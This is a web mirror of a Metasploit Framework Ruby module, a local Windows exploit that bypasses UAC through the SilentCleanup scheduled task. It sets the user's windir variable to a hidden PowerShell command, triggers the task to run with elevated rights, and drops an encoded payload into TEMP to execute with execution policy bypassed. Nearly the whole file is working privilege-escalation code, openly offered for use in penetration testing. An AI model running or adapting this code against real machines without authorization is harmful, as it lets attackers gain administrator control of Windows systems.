CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_silentcleanup.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Powershell
10
include Msf::Post::Windows::Priv
11
include Msf::Post::File
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',
17
'Description' => %q{
18
There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
19
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
20
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'tyranid', # Discovery
25
'enigma0x3', # Discovery
26
'nyshone69', # Discovery
27
'lokiuox', # PSH script
28
'Carter Brainerd (cbrnrd)' # Metasploit Module
29
],
30
'Platform' => ['win'],
31
'SessionTypes' => ['meterpreter', 'shell'],
32
'Arch' => [ARCH_X86, ARCH_X64],
33
'Targets' => [['Microsoft Windows', {}]],
34
'DisclosureDate' => '2019-02-24',
35
'References' => [
36
['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],
37
['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],
38
['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],
39
['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']
40
]
41
))
42
43
register_options(
44
[
45
OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),
46
OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])
47
])
48
end
49
50
def get_bypass_script(cmd)
51
scr = %Q{
52
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
53
$env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")
54
#{cmd}
55
} else {
56
$registryPath = "HKCU:\\Environment"
57
$Name = "windir"
58
$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"
59
Set-ItemProperty -Path $registryPath -Name $name -Value $Value
60
#Depending on the performance of the machine, some sleep time may be required before or after schtasks
61
Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}
62
schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null
63
Remove-ItemProperty -Path $registryPath -Name $name
64
}
65
}
66
vprint_status(scr)
67
scr
68
end
69
70
def exploit
71
check_permissions
72
73
e_vars = get_envs('TEMP')
74
payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"
75
76
# Write it to disk, run, delete
77
upload_payload_ps1(payload_fp)
78
vprint_good("Payload uploaded to #{payload_fp}")
79
80
cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")
81
end
82
83
def check_permissions
84
# Check if you are an admin
85
case is_in_admin_group?
86
when nil
87
print_error('Either whoami is not there or failed to execute')
88
print_error('Continuing under assumption you already checked...')
89
when true
90
print_good('Part of Administrators group! Continuing...')
91
when false
92
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
93
end
94
95
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
96
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
97
end
98
end
99
100
def upload_payload_ps1(filepath)
101
pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
102
begin
103
vprint_status('Uploading payload PS1...')
104
write_file(filepath, get_bypass_script(pld))
105
register_file_for_cleanup(filepath)
106
rescue Rex::Post::Meterpreter::RequestError => e
107
fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")
108
end
109
end
110
end
111
112